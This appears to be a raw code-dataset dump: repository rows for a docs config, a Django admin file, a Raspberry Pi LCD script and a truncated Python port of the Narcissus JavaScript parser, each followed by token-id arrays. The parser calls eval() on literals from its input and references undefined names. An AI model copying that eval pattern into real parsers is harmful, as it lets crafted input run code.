17089,
10238,
13,
13,
572,
29873,
29889,
5317,
29898,
3359,
29918,
1761,
29892,
281,
29918,
1767,
29961,
29900,
2314,
13,
572,
29873,
29889,
3257,
877,
29893,
995,
1495,
13,
572,
29873,
29889,
29916,
1643,
877,
10700,
9265,
362,
995,
1495,
13,
572,
29873,
29889,
29891,
1643,
877,
6758,
995,
1495,
13,
572,
29873,
29889,
29873,
523,
29918,
2680,
580,
13,
572,
29873,
29889,
4294,
580,
13,
2
] |
pos_multie_print/config/docs.py | ashish-greycube/pos_multie_print | 0 | 22482 | """
Configuration for docs
"""
# source_link = "https://github.com/[org_name]/pos_multie_print"
# docs_base_url = "https://[org_name].github.io/pos_multie_print"
# headline = "App that does everything"
# sub_heading = "Yes, you got that right the first time, everything"
def get_context(context):
context.brand_html = "POS Multiple Print"
| [
1,
9995,
13,
8614,
363,
10561,
13,
15945,
29908,
13,
13,
29937,
2752,
29918,
2324,
353,
376,
991,
597,
3292,
29889,
510,
29914,
29961,
990,
29918,
978,
16261,
1066,
29918,
4713,
347,
29918,
2158,
29908,
13,
29937,
10561,
29918,
3188,
29918,
2271,
353,
376,
991,
597,
29961,
990,
29918,
978,
1822,
3292,
29889,
601,
29914,
1066,
29918,
4713,
347,
29918,
2158,
29908,
13,
29937,
2343,
1220,
353,
376,
2052,
393,
947,
4129,
29908,
13,
29937,
1014,
29918,
2813,
292,
353,
376,
8241,
29892,
366,
2355,
393,
1492,
278,
937,
931,
29892,
4129,
29908,
13,
13,
1753,
679,
29918,
4703,
29898,
4703,
1125,
13,
12,
4703,
29889,
16472,
29918,
1420,
353,
376,
24815,
26905,
13905,
29908,
13,
2
] |
climbproject/climbapp/admin.py | javawolfpack/ClimbProject | 0 | 6025 | from django.contrib import admin
#from .models import *
from . import models
# Register your models here.
admin.site.register(models.ClimbModel)
| [
1,
515,
9557,
29889,
21570,
1053,
4113,
13,
13,
29937,
3166,
869,
9794,
1053,
334,
13,
3166,
869,
1053,
4733,
13,
13,
29937,
12577,
596,
4733,
1244,
29889,
13,
6406,
29889,
2746,
29889,
9573,
29898,
9794,
29889,
29907,
2576,
29890,
3195,
29897,
13,
2
] |
LTN111/cycle.py | benjaveri/rpi | 0 | 166420 | #!/usr/bin/env python
import RPi.GPIO as GPIO
import time
# pinoutBCM scheme - http://pinout.xyz/
D = [4,17,18,27,22,23,24,25]
E = 11
RW = 8
RS = 7
def wr(rs,rw,data):
GPIO.output(RS,True if rs else False)
GPIO.output(RW,True if rw else False)
time.sleep(0.001)
GPIO.output(E,True)
for i in range(8):
GPIO.output(D[i],True if (data & (1<<i)) else False)
time.sleep(0.001)
GPIO.output(E,False)
time.sleep(0.001)
def writea(a):
for ch in a:
wr(1,0,ch)
def write(s):
for ch in s:
wr(1,0,ord(ch))
# setup
GPIO.setwarnings(False)
GPIO.setmode(GPIO.BCM)
GPIO.setup(E,GPIO.OUT)
GPIO.output(E,False)
GPIO.setup(RW,GPIO.OUT)
GPIO.setup(RS,GPIO.OUT)
for i in D: GPIO.setup(i,GPIO.OUT)
# go
wr(0,0,0x38) # 8-bit input mode
wr(0,0,1) # cls
wr(0,0,12) # display on
# cycle characters
i = 0
while 1:
wr(0,0,0x80)
writea([ i for j in range(8) ])
wr(0,0,0xc0)
writea([ i for j in range(8) ])
i = (i+1) & 255
time.sleep(.125)
| [
1,
18787,
4855,
29914,
2109,
29914,
6272,
3017,
13,
5215,
390,
12197,
29889,
29954,
2227,
29949,
408,
402,
2227,
29949,
13,
5215,
931,
13,
13,
29937,
12534,
449,
5371,
29924,
11380,
448,
1732,
597,
12687,
449,
29889,
20230,
29914,
13,
13,
29928,
353,
518,
29946,
29892,
29896,
29955,
29892,
29896,
29947,
29892,
29906,
29955,
29892,
29906,
29906,
29892,
29906,
29941,
29892,
29906,
29946,
29892,
29906,
29945,
29962,
13,
29923,
353,
29871,
29896,
29896,
13,
29934,
29956,
353,
29871,
29947,
13,
12445,
353,
29871,
29955,
13,
13,
1753,
2358,
29898,
2288,
29892,
13975,
29892,
1272,
1125,
13,
29871,
402,
2227,
29949,
29889,
4905,
29898,
12445,
29892,
5574,
565,
20371,
1683,
7700,
29897,
13,
29871,
402,
2227,
29949,
29889,
4905,
29898,
29934,
29956,
29892,
5574,
565,
364,
29893,
1683,
7700,
29897,
13,
29871,
931,
29889,
17059,
29898,
29900,
29889,
29900,
29900,
29896,
29897,
13,
29871,
402,
2227,
29949,
29889,
4905,
29898,
29923,
29892,
5574,
29897,
13,
29871,
363,
474,
297,
3464,
29898,
29947,
1125,
13,
1678,
402,
2227,
29949,
29889,
4905,
29898,
29928,
29961,
29875,
1402,
5574,
565,
313,
1272,
669,
313,
29896,
9314,
29875,
876,
1683,
7700,
29897,
13,
29871,
931,
29889,
17059,
29898,
29900,
29889,
29900,
29900,
29896,
29897,
13,
29871,
402,
2227,
29949,
29889,
4905,
29898,
29923,
29892,
8824,
29897,
13,
29871,
931,
29889,
17059,
29898,
29900,
29889,
29900,
29900,
29896,
29897,
13,
13,
1753,
2436,
29874,
29898,
29874,
1125,
13,
29871,
363,
521,
297,
263,
29901,
13,
1678,
2358,
29898,
29896,
29892,
29900,
29892,
305,
29897,
13,
13,
1753,
2436,
29898,
29879,
1125,
13,
29871,
363,
521,
297,
269,
29901,
13,
1678,
2358,
29898,
29896,
29892,
29900,
29892,
536,
29898,
305,
876,
13,
13,
13,
29937,
6230,
13,
29954,
2227,
29949,
29889,
842,
25442,
886,
29898,
8824,
29897,
13,
29954,
2227,
29949,
29889,
842,
8513,
29898,
29954,
2227,
29949,
29889,
5371,
29924,
29897,
13,
29954,
2227,
29949,
29889,
14669,
29898,
29923,
29892,
29954,
2227,
29949,
29889,
12015,
29897,
13,
29954,
2227,
29949,
29889,
4905,
29898,
29923,
29892,
8824,
29897,
13,
29954,
2227,
29949,
29889,
14669,
29898,
29934,
29956,
29892,
29954,
2227,
29949,
29889,
12015,
29897,
13,
29954,
2227,
29949,
29889,
14669,
29898,
12445,
29892,
29954,
2227,
29949,
29889,
12015,
29897,
13,
1454,
474,
297,
360,
29901,
402,
2227,
29949,
29889,
14669,
29898,
29875,
29892,
29954,
2227,
29949,
29889,
12015,
29897,
13,
13,
29937,
748,
13,
15866,
29898,
29900,
29892,
29900,
29892,
29900,
29916,
29941,
29947,
29897,
396,
29871,
29947,
29899,
2966,
1881,
4464,
13,
15866,
29898,
29900,
29892,
29900,
29892,
29896,
29897,
396,
1067,
29879,
259,
13,
15866,
29898,
29900,
29892,
29900,
29892,
29896,
29906,
29897,
396,
2479,
373,
13,
13,
29937,
11412,
4890,
13,
29875,
353,
29871,
29900,
13,
8000,
29871,
29896,
29901,
13,
29871,
2358,
29898,
29900,
29892,
29900,
29892,
29900,
29916,
29947,
29900,
29897,
13,
29871,
2436,
29874,
4197,
474,
363,
432,
297,
3464,
29898,
29947,
29897,
29871,
2314,
13,
29871,
2358,
29898,
29900,
29892,
29900,
29892,
29900,
21791,
29900,
29897,
13,
29871,
2436,
29874,
4197,
474,
363,
432,
297,
3464,
29898,
29947,
29897,
29871,
2314,
13,
259,
13,
29871,
474,
353,
313,
29875,
29974,
29896,
29897,
669,
29871,
29906,
29945,
29945,
13,
259,
13,
29871,
931,
29889,
17059,
11891,
29896,
29906,
29945,
29897,
13,
2
] |
merger/jsparser3.py | Mingun/k3a-utils | 0 | 137828 | #!/usr/bin/python2.5
# ***** BEGIN LICENSE BLOCK *****
# Version: MPL 1.1/GPL 2.0/LGPL 2.1
#
# The contents of this file are subject to the Mozilla Public License Version
# 1.1 (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
# http://www.mozilla.org/MPL/
#
# Software distributed under the License is distributed on an "AS IS" basis,
# WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
# for the specific language governing rights and limitations under the
# License.
#
# The Original Code is the Narcissus JavaScript engine, written in Javascript.
#
# The Initial Developer of the Original Code is
# <NAME> <<EMAIL>>.
# Portions created by the Initial Developer are Copyright (C) 2004
# the Initial Developer. All Rights Reserved.
#
# The Python version of the code was created by <NAME> <<EMAIL>>,
# and is a direct translation from the Javascript version.
#
# Alternatively, the contents of this file may be used under the terms of
# either the GNU General Public License Version 2 or later (the "GPL"), or
# the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
# in which case the provisions of the GPL or the LGPL are applicable instead
# of those above. If you wish to allow use of your version of this file only
# under the terms of either the GPL or the LGPL, and not to allow others to
# use your version of this file under the terms of the MPL, indicate your
# decision by deleting the provisions above and replace them with the notice
# and other provisions required by the GPL or the LGPL. If you do not delete
# the provisions above, a recipient may use your version of this file under
# the terms of any one of the MPL, the GPL or the LGPL.
#
# ***** END LICENSE BLOCK ***** */
"""
PyNarcissus
A lexical scanner and parser. JS implemented in JS, ported to Python.
"""
__author__ = "<NAME>"
__author_email__ = "<EMAIL>"
__date__ = "2009-03-24"
__all__ = ["ParseError", "parse", "tokens"]
import re, sys, types
class Object(object): pass
class Error_(Exception): pass
class ParseError(Error_): pass
tokens = dict(enumerate((
# End of source.
"END",
# Operators and punctuators. Some pair-wise order matters, e.g. (+, -)
# and (UNARY_PLUS, UNARY_MINUS).
"\n", ";",
",",
"=",
"?", ":", "CONDITIONAL",
"||",
"&&",
"|",
"^",
"&",
"==", "!=", "===", "!==",
"<", "<=", ">=", ">",
"<<", ">>", ">>>",
"+", "-",
"*", "/", "%",
"!", "~", "UNARY_PLUS", "UNARY_MINUS",
"++", "--",
".",
"[", "]",
"{", "}",
"(", ")",
# Nonterminal tree node type codes.
"SCRIPT", "BLOCK", "LABEL", "FOR_IN", "CALL", "NEW_WITH_ARGS", "INDEX",
"ARRAY_INIT", "OBJECT_INIT", "PROPERTY_INIT", "GETTER", "SETTER",
"GROUP", "LIST",
# Terminals.
"IDENTIFIER", "NUMBER", "STRING", "REGEXP",
# Keywords.
"break",
"case", "catch", "const", "continue",
"debugger", "default", "delete", "do",
"else", "enum",
"false", "finally", "for", "function",
"if", "in", "instanceof",
"new", "null",
"return",
"switch",
"this", "throw", "true", "try", "typeof",
"var", "void",
"while", "with")))
# Operator and punctuator mapping from token to tree node type name.
# NB: superstring tokens (e.g., ++) must come before their substring token
# counterparts (+ in the example), so that the opRegExp regular expression
# synthesized from this list makes the longest possible match.
opTypeNames = [
('\n', "NEWLINE"),
(';', "SEMICOLON"),
(',', "COMMA"),
('?', "HOOK"),
(':', "COLON"),
('||', "OR"),
('&&', "AND"),
('|', "BITWISE_OR"),
('^', "BITWISE_XOR"),
('&', "BITWISE_AND"),
('===', "STRICT_EQ"),
('==', "EQ"),
('=', "ASSIGN"),
('!==', "STRICT_NE"),
('!=', "NE"),
('<<', "LSH"),
('<=', "LE"),
('<', "LT"),
('>>>', "URSH"),
('>>', "RSH"),
('>=', "GE"),
('>', "GT"),
('++', "INCREMENT"),
('--', "DECREMENT"),
('+', "PLUS"),
('-', "MINUS"),
('*', "MUL"),
('/', "DIV"),
('%', "MOD"),
('!', "NOT"),
('~', "BITWISE_NOT"),
('.', "DOT"),
('[', "LEFT_BRACKET"),
(']', "RIGHT_BRACKET"),
('{', "LEFT_CURLY"),
('}', "RIGHT_CURLY"),
('(', "LEFT_PAREN"),
(')', "RIGHT_PAREN"),
]
keywords = {}
# Define const END, etc., based on the token names. Also map name to index.
for i, t in tokens.copy().items():
if re.match(r'^[a-z]', t):
const_name = t.upper()
keywords[t] = i
elif re.match(r'^\W', t):
const_name = dict(opTypeNames)[t]
else:
const_name = t
globals()[const_name] = i
tokens[t] = i
assignOps = {}
# Map assignment operators to their indexes in the tokens array.
for i, t in enumerate(['|', '^', '&', '<<', '>>', '>>>', '+', '-', '*', '/', '%']):
assignOps[t] = tokens[t]
assignOps[i] = t
# Build a regexp that recognizes operators and punctuators (except newline).
opRegExpSrc = "^"
for i, j in opTypeNames:
if i == "\n": continue
if opRegExpSrc != "^": opRegExpSrc += "|^"
opRegExpSrc += re.sub(r'[?|^&(){}\[\]+\-*\/\.]', lambda x: "\\%s" % x.group(0), i)
opRegExp = re.compile(opRegExpSrc)
# Convert opTypeNames to an actual dictionary now that we don't care about ordering
opTypeNames = dict(opTypeNames)
# A regexp to match floating point literals (but not integer literals).
fpRegExp = re.compile(r'^\d+\.\d*(?:[eE][-+]?\d+)?|^\d+(?:\.\d*)?[eE][-+]?\d+|^\.\d+(?:[eE][-+]?\d+)?')
# A regexp to match regexp literals.
reRegExp = re.compile(r'^\/((?:\\.|\[(?:\\.|[^\]])*\]|[^\/])+)\/([gimy]*)')
class SyntaxError_(ParseError):
def __init__(self, message, filename, lineno):
ParseError.__init__(self, "Syntax error: %s\n%s:%s" %
(message, filename, lineno))
class Tokenizer(object):
def __init__(self, s, f, l):
self.cursor = 0
self.source = str(s)
self.tokens = {}
self.tokenIndex = 0
self.lookahead = 0
self.scanNewlines = False
self.scanOperand = True
self.filename = f
self.lineno = l
input_ = property(lambda self: self.source[self.cursor:])
done = property(lambda self: self.peek() == END)
token = property(lambda self: self.tokens.get(self.tokenIndex))
def match(self, tt):
return self.get() == tt or self.unget()
def mustMatch(self, tt):
if not self.match(tt):
raise self.newSyntaxError("Missing " + tokens.get(tt).lower())
return self.token
def peek(self):
if self.lookahead:
next = self.tokens.get((self.tokenIndex + self.lookahead) & 3)
if self.scanNewlines and (getattr(next, "lineno", None) !=
getattr(self, "lineno", None)):
tt = NEWLINE
else:
tt = getattr(next, "type_", None)
else:
tt = self.get()
self.unget()
return tt
def peekOnSameLine(self):
self.scanNewlines = True
tt = self.peek()
self.scanNewlines = False
return tt
def get(self):
while self.lookahead:
self.lookahead -= 1
self.tokenIndex = (self.tokenIndex + 1) & 3
token = self.tokens.get(self.tokenIndex)
if getattr(token, "type_", None) != NEWLINE or self.scanNewlines:
return getattr(token, "type_", None)
while True:
input__ = self.input_
if self.scanNewlines:
match = re.match(r'^[ \t]+', input__)
else:
match = re.match(r'^\s+', input__)
if match:
spaces = match.group(0)
self.cursor += len(spaces)
newlines = re.findall(r'\n', spaces)
if newlines:
self.lineno += len(newlines)
input__ = self.input_
match = re.match(r'^\/(?:\*(?:.|\n)*?\*\/|\/.*)', input__)
if not match:
break
comment = match.group(0)
self.cursor += len(comment)
newlines = re.findall(r'\n', comment)
if newlines:
self.lineno += len(newlines)
self.tokenIndex = (self.tokenIndex + 1) & 3
token = self.tokens.get(self.tokenIndex)
if not token:
token = Object()
self.tokens[self.tokenIndex] = token
if not input__:
token.type_ = END
return END
def matchInput():
match = fpRegExp.match(input__)
if match:
token.type_ = NUMBER
token.value = float(match.group(0))
return match.group(0)
match = re.match(r'^0[xX][\da-fA-F]+|^0[0-7]*|^\d+', input__)
if match:
token.type_ = NUMBER
token.value = eval(match.group(0))
return match.group(0)
match = re.match(r'^[$_\w]+', input__) # FIXME no ES3 unicode
if match:
id_ = match.group(0)
token.type_ = keywords.get(id_, IDENTIFIER)
token.value = id_
return match.group(0)
match = re.match(r'^"(?:\\.|[^"])*"|^\'(?:\\.|[^\'])*\'', input__)
if match:
token.type_ = STRING
token.value = eval(match.group(0))
return match.group(0)
if self.scanOperand:
match = reRegExp.match(input__)
if match:
token.type_ = REGEXP
token.value = {"regexp": match.group(1),
"modifiers": match.group(2)}
return match.group(0)
match = opRegExp.match(input__)
if match:
op = match.group(0)
if op in assignOps and input__[len(op)] == '=':
token.type_ = ASSIGN
token.assignOp = globals()[opTypeNames[op]]
token.value = op
return match.group(0) + "="
token.type_ = globals()[opTypeNames[op]]
if self.scanOperand and (token.type_ in (PLUS, MINUS)):
token.type_ += UNARY_PLUS - PLUS
token.assignOp = None
token.value = op
return match.group(0)
if self.scanNewlines:
match = re.match(r'^\n', input__)
if match:
token.type_ = NEWLINE
return match.group(0)
raise self.newSyntaxError("Illegal token")
token.start = self.cursor
self.cursor += len(matchInput())
token.end = self.cursor
token.lineno = self.lineno
return getattr(token, "type_", None)
def unget(self):
self.lookahead += 1
if self.lookahead == 4: raise Error("PANIC: too much lookahead!")
self.tokenIndex = (self.tokenIndex - 1) & 3
def newSyntaxError(self, m):
return SyntaxError_(m, self.filename, self.lineno)
class CompilerContext(object):
def __init__(self, inFunction):
self.inFunction = inFunction
self.stmtStack = []
self.funDecls = []
self.varDecls = []
self.bracketLevel = 0
self.curlyLevel = 0
self.parenLevel = 0
self.hookLevel = 0
self.ecmaStrictMode = False
self.inForLoopInit = False
def Script(t, x):
n = Statements(t, x)
n.type_ = SCRIPT
n.funDecls = x.funDecls
n.varDecls = x.varDecls
return n
class Node(list):
def __init__(self, t, type_=None, args=[]):
list.__init__(self)
token = t.token
if token:
if type_:
self.type_ = type_
else:
self.type_ = getattr(token, "type_", None)
self.value = token.value
self.lineno = token.lineno
self.start = token.start
self.end = token.end
else:
self.type_ = type_
self.lineno = t.lineno
self.tokenizer = t
for arg in args:
self.append(arg)
@property
def type(self):
return tokenstr(self.type_)
# Always use push to add operands to an expression, to update start and end.
def append(self, kid, numbers=[]):
if kid:
if hasattr(self, "start") and kid.start < self.start:
self.start = kid.start
if hasattr(self, "end") and self.end < kid.end:
self.end = kid.end
return list.append(self, kid)
indentLevel = 0
def __str__(self):
a = list((str(i), v) for i, v in enumerate(self))
for attr in dir(self):
if attr[0] == "_": continue
elif attr == "tokenizer":
a.append((attr, "[object Object]"))
elif attr in ("append", "count", "extend", "getSource", "index",
"insert", "pop", "remove", "reverse", "sort", "type_",
"target", "filename", "indentLevel", "type"):
continue
else:
a.append((attr, getattr(self, attr)))
if len(self): a.append(("length", len(self)))
a.sort(key=lambda a: a[0])
INDENTATION = " "
Node.indentLevel += 1
n = Node.indentLevel
s = "{\n%stype: %s" % ((INDENTATION * n), tokenstr(self.type_))
for i, value in a:
s += ",\n%s%s: " % ((INDENTATION * n), i)
if i == "value" and self.type_ == REGEXP:
s += "/%s/%s" % (value["regexp"], value["modifiers"])
elif value is None:
s += "null"
elif value is False:
s += "false"
elif value is True:
s += "true"
elif type(value) == list:
s += ','.join((str(x) for x in value))
else:
s += str(value)
Node.indentLevel -= 1
n = Node.indentLevel
s += "\n%s}" % (INDENTATION * n)
return s
__repr__ = __str__
def getSource(self):
if getattr(self, "start", None) is not None:
if getattr(self, "end", None) is not None:
return self.tokenizer.source[self.start:self.end]
return self.tokenizer.source[self.start:]
if getattr(self, "end", None) is not None:
return self.tokenizer.source[:self.end]
return self.tokenizer.source[:]
@property
def filename(self):
return self.tokenizer.filename
def __bool__(self): return True
# Statement stack and nested statement handler.
def nest(t, x, node, func, end=None):
x.stmtStack.append(node)
n = func(t, x)
x.stmtStack.pop()
if end: t.mustMatch(end)
return n
def tokenstr(tt):
t = tokens[tt]
if re.match(r'^\W', t):
return opTypeNames[t]
return t.upper()
def Statements(t, x):
n = Node(t, BLOCK)
x.stmtStack.append(n)
while not t.done and t.peek() != RIGHT_CURLY:
n.append(Statement(t, x))
x.stmtStack.pop()
return n
def Block(t, x):
t.mustMatch(LEFT_CURLY)
n = Statements(t, x)
t.mustMatch(RIGHT_CURLY)
return n
DECLARED_FORM = 0
EXPRESSED_FORM = 1
STATEMENT_FORM = 2
def Statement(t, x):
tt = t.get()
# Cases for statements ending in a right curly return early, avoiding the
# common semicolon insertion magic after this switch.
if tt == FUNCTION:
if len(x.stmtStack) > 1:
type_ = STATEMENT_FORM
else:
type_ = DECLARED_FORM
return FunctionDefinition(t, x, True, type_)
elif tt == LEFT_CURLY:
n = Statements(t, x)
t.mustMatch(RIGHT_CURLY)
return n
elif tt == IF:
n = Node(t)
n.condition = ParenExpression(t, x)
x.stmtStack.append(n)
n.thenPart = Statement(t, x)
if t.match(ELSE):
n.elsePart = Statement(t, x)
else:
n.elsePart = None
x.stmtStack.pop()
return n
elif tt == SWITCH:
n = Node(t)
t.mustMatch(LEFT_PAREN)
n.discriminant = Expression(t, x)
t.mustMatch(RIGHT_PAREN)
n.cases = []
n.defaultIndex = -1
x.stmtStack.append(n)
t.mustMatch(LEFT_CURLY)
while True:
tt = t.get()
if tt == RIGHT_CURLY: break
if tt in (DEFAULT, CASE):
if tt == DEFAULT and n.defaultIndex >= 0:
raise t.newSyntaxError("More than one switch default")
n2 = Node(t)
if tt == DEFAULT:
n.defaultIndex = len(n.cases)
else:
n2.caseLabel = Expression(t, x, COLON)
else:
raise t.newSyntaxError("Invalid switch case")
t.mustMatch(COLON)
n2.statements = Node(t, BLOCK)
while True:
tt = t.peek()
if(tt == CASE or tt == DEFAULT or tt == RIGHT_CURLY): break
n2.statements.append(Statement(t, x))
n.cases.append(n2)
x.stmtStack.pop()
return n
elif tt == FOR:
n = Node(t)
n2 = None
n.isLoop = True
t.mustMatch(LEFT_PAREN)
tt = t.peek()
if tt != SEMICOLON:
x.inForLoopInit = True
if tt == VAR or tt == CONST:
t.get()
n2 = Variables(t, x)
else:
n2 = Expression(t, x)
x.inForLoopInit = False
if n2 and t.match(IN):
n.type_ = FOR_IN
if n2.type_ == VAR:
if len(n2) != 1:
raise SyntaxError("Invalid for..in left-hand side",
t.filename, n2.lineno)
# NB: n2[0].type_ == INDENTIFIER and n2[0].value == n2[0].name
n.iterator = n2[0]
n.varDecl = n2
else:
n.iterator = n2
n.varDecl = None
n.object = Expression(t, x)
else:
if n2:
n.setup = n2
else:
n.setup = None
t.mustMatch(SEMICOLON)
if t.peek() == SEMICOLON:
n.condition = None
else:
n.condition = Expression(t, x)
t.mustMatch(SEMICOLON)
if t.peek() == RIGHT_PAREN:
n.update = None
else:
n.update = Expression(t, x)
t.mustMatch(RIGHT_PAREN)
n.body = nest(t, x, n, Statement)
return n
elif tt == WHILE:
n = Node(t)
n.isLoop = True
n.condition = ParenExpression(t, x)
n.body = nest(t, x, n, Statement)
return n
elif tt == DO:
n = Node(t)
n.isLoop = True
n.body = nest(t, x, n, Statement, WHILE)
n.condition = ParenExpression(t, x)
if not x.ecmaStrictMode:
# <script language="JavaScript"> (without version hints) may need
# automatic semicolon insertion without a newline after do-while.
# See http://bugzilla.mozilla.org/show_bug.cgi?id=238945.
t.match(SEMICOLON)
return n
elif tt in (BREAK, CONTINUE):
n = Node(t)
if t.peekOnSameLine() == IDENTIFIER:
t.get()
n.label = t.token.value
ss = x.stmtStack
i = len(ss)
label = getattr(n, "label", None)
if label:
while True:
i -= 1
if i < 0:
raise t.newSyntaxError("Label not found")
if getattr(ss[i], "label", None) == label: break
else:
while True:
i -= 1
if i < 0:
if tt == BREAK:
raise t.newSyntaxError("Invalid break")
else:
raise t.newSyntaxError("Invalid continue")
if (getattr(ss[i], "isLoop", None) or (tt == BREAK and
ss[i].type_ == SWITCH)):
break
n.target = ss[i]
elif tt == TRY:
n = Node(t)
n.tryBlock = Block(t, x)
n.catchClauses = []
while t.match(CATCH):
n2 = Node(t)
t.mustMatch(LEFT_PAREN)
n2.varName = t.mustMatch(IDENTIFIER).value
if t.match(IF):
if x.ecmaStrictMode:
raise t.newSyntaxError("Illegal catch guard")
if n.catchClauses and not n.catchClauses[-1].guard:
raise t.newSyntaxError("Gaurded catch after unguarded")
n2.guard = Expression(t, x)
else:
n2.guard = None
t.mustMatch(RIGHT_PAREN)
n2.block = Block(t, x)
n.catchClauses.append(n2)
if t.match(FINALLY):
n.finallyBlock = Block(t, x)
if not n.catchClauses and not getattr(n, "finallyBlock", None):
raise t.newSyntaxError("Invalid try statement")
return n
elif tt in (CATCH, FINALLY):
raise t.newSyntaxError(tokens[tt] + " without preceding try")
elif tt == THROW:
n = Node(t)
n.exception = Expression(t, x)
elif tt == RETURN:
if not x.inFunction:
raise t.newSyntaxError("Invalid return")
n = Node(t)
tt = t.peekOnSameLine()
if tt not in (END, NEWLINE, SEMICOLON, RIGHT_CURLY):
n.value = Expression(t, x)
elif tt == WITH:
n = Node(t)
n.object = ParenExpression(t, x)
n.body = nest(t, x, n, Statement)
return n
elif tt in (VAR, CONST):
n = Variables(t, x)
elif tt == DEBUGGER:
n = Node(t)
elif tt in (NEWLINE, SEMICOLON):
n = Node(t, SEMICOLON)
n.expression = None
return n
else:
if tt == IDENTIFIER:
t.scanOperand = False
tt = t.peek()
t.scanOperand = True
if tt == COLON:
label = t.token.value
ss = x.stmtStack
i = len(ss) - 1
while i >= 0:
if getattr(ss[i], "label", None) == label:
raise t.newSyntaxError("Duplicate label")
i -= 1
t.get()
n = Node(t, LABEL)
n.label = label
n.statement = nest(t, x, n, Statement)
return n
n = Node(t, SEMICOLON)
t.unget()
n.expression = Expression(t, x)
n.end = n.expression.end
if t.lineno == t.token.lineno:
tt = t.peekOnSameLine()
if tt not in (END, NEWLINE, SEMICOLON, RIGHT_CURLY):
raise t.newSyntaxError("Missing ; before statement")
t.match(SEMICOLON)
return n
def FunctionDefinition(t, x, requireName, functionForm):
f = Node(t)
if f.type_ != FUNCTION:
if f.value == "get":
f.type_ = GETTER
else:
f.type_ = SETTER
if t.match(IDENTIFIER):
f.name = t.token.value
elif requireName:
raise t.newSyntaxError("Missing function identifier")
t.mustMatch(LEFT_PAREN)
f.params = []
while True:
tt = t.get()
if tt == RIGHT_PAREN: break
if tt != IDENTIFIER:
raise t.newSyntaxError("Missing formal parameter")
f.params.append(t.token.value)
if t.peek() != RIGHT_PAREN:
t.mustMatch(COMMA)
t.mustMatch(LEFT_CURLY)
x2 = CompilerContext(True)
f.body = Script(t, x2)
t.mustMatch(RIGHT_CURLY)
f.end = t.token.end
f.functionForm = functionForm
if functionForm == DECLARED_FORM:
x.funDecls.append(f)
return f
def Variables(t, x):
n = Node(t)
while True:
t.mustMatch(IDENTIFIER)
n2 = Node(t)
n2.name = n2.value
if t.match(ASSIGN):
if t.token.assignOp:
raise t.newSyntaxError("Invalid variable initialization")
n2.initializer = Expression(t, x, COMMA)
n2.readOnly = not not (n.type_ == CONST)
n.append(n2)
x.varDecls.append(n2)
if not t.match(COMMA): break
return n
def ParenExpression(t, x):
t.mustMatch(LEFT_PAREN)
n = Expression(t, x)
t.mustMatch(RIGHT_PAREN)
return n
opPrecedence = {
"SEMICOLON": 0,
"COMMA": 1,
"ASSIGN": 2, "HOOK": 2, "COLON": 2,
# The above all have to have the same precedence, see bug 330975.
"OR": 4,
"AND": 5,
"BITWISE_OR": 6,
"BITWISE_XOR": 7,
"BITWISE_AND": 8,
"EQ": 9, "NE": 9, "STRICT_EQ": 9, "STRICT_NE": 9,
"LT": 10, "LE": 10, "GE": 10, "GT": 10, "IN": 10, "INSTANCEOF": 10,
"LSH": 11, "RSH": 11, "URSH": 11,
"PLUS": 12, "MINUS": 12,
"MUL": 13, "DIV": 13, "MOD": 13,
"DELETE": 14, "VOID": 14, "TYPEOF": 14,
# "PRE_INCREMENT": 14, "PRE_DECREMENT": 14,
"NOT": 14, "BITWISE_NOT": 14, "UNARY_PLUS": 14, "UNARY_MINUS": 14,
"INCREMENT": 15, "DECREMENT": 15, # postfix
"NEW": 16,
"DOT": 17
}
# Map operator type code to precedence
for i in opPrecedence.copy():
opPrecedence[globals()[i]] = opPrecedence[i]
opArity = {
"COMMA": -2,
"ASSIGN": 2,
"HOOK": 3,
"OR": 2,
"AND": 2,
"BITWISE_OR": 2,
"BITWISE_XOR": 2,
"BITWISE_AND": 2,
"EQ": 2, "NE": 2, "STRICT_EQ": 2, "STRICT_NE": 2,
"LT": 2, "LE": 2, "GE": 2, "GT": 2, "IN": 2, "INSTANCEOF": 2,
"LSH": 2, "RSH": 2, "URSH": 2,
"PLUS": 2, "MINUS": 2,
"MUL": 2, "DIV": 2, "MOD": 2,
"DELETE": 1, "VOID": 1, "TYPEOF": 1,
# "PRE_INCREMENT": 1, "PRE_DECREMENT": 1,
"NOT": 1, "BITWISE_NOT": 1, "UNARY_PLUS": 1, "UNARY_MINUS": 1,
"INCREMENT": 1, "DECREMENT": 1, # postfix
"NEW": 1, "NEW_WITH_ARGS": 2, "DOT": 2, "INDEX": 2, "CALL": 2,
"ARRAY_INIT": 1, "OBJECT_INIT": 1, "GROUP": 1
}
# Map operator type code to arity.
for i in opArity.copy():
opArity[globals()[i]] = opArity[i]
def Expression(t, x, stop=None):
operators = []
operands = []
bl = x.bracketLevel
cl = x.curlyLevel
pl = x.parenLevel
hl = x.hookLevel
def reduce_():
n = operators.pop()
op = n.type_
arity = opArity[op]
if arity == -2:
# Flatten left-associative trees.
left = (len(operands) >= 2 and operands[-2])
if left.type_ == op:
right = operands.pop()
left.append(right)
return left
arity = 2
# Always use append to add operands to n, to update start and end.
a = operands[-arity:]
del operands[-arity:]
for operand in a:
n.append(operand)
# Include closing bracket or postfix operator in [start,end).
if n.end < t.token.end:
n.end = t.token.end
operands.append(n)
return n
class BreakOutOfLoops(Exception): pass
try:
while True:
tt = t.get()
if tt == END: break
if (tt == stop and x.bracketLevel == bl and x.curlyLevel == cl and
x.parenLevel == pl and x.hookLevel == hl):
# Stop only if tt matches the optional stop parameter, and that
# token is not quoted by some kind of bracket.
break
if tt == SEMICOLON:
# NB: cannot be empty, Statement handled that.
raise BreakOutOfLoops
elif tt in (ASSIGN, HOOK, COLON):
if t.scanOperand:
raise BreakOutOfLoops
while ((operators and opPrecedence.get(operators[-1].type_,
None) > opPrecedence.get(tt)) or (tt == COLON and
operators and operators[-1].type_ == ASSIGN)):
reduce_()
if tt == COLON:
if operators:
n = operators[-1]
if not operators or n.type_ != HOOK:
raise t.newSyntaxError("Invalid label")
x.hookLevel -= 1
else:
operators.append(Node(t))
if tt == ASSIGN:
operands[-1].assignOp = t.token.assignOp
else:
x.hookLevel += 1
t.scanOperand = True
elif tt in (IN, COMMA, OR, AND, BITWISE_OR, BITWISE_XOR,
BITWISE_AND, EQ, NE, STRICT_EQ, STRICT_NE, LT, LE, GE, GT,
INSTANCEOF, LSH, RSH, URSH, PLUS, MINUS, MUL, DIV, MOD,
DOT):
# We're treating comma as left-associative so reduce can fold
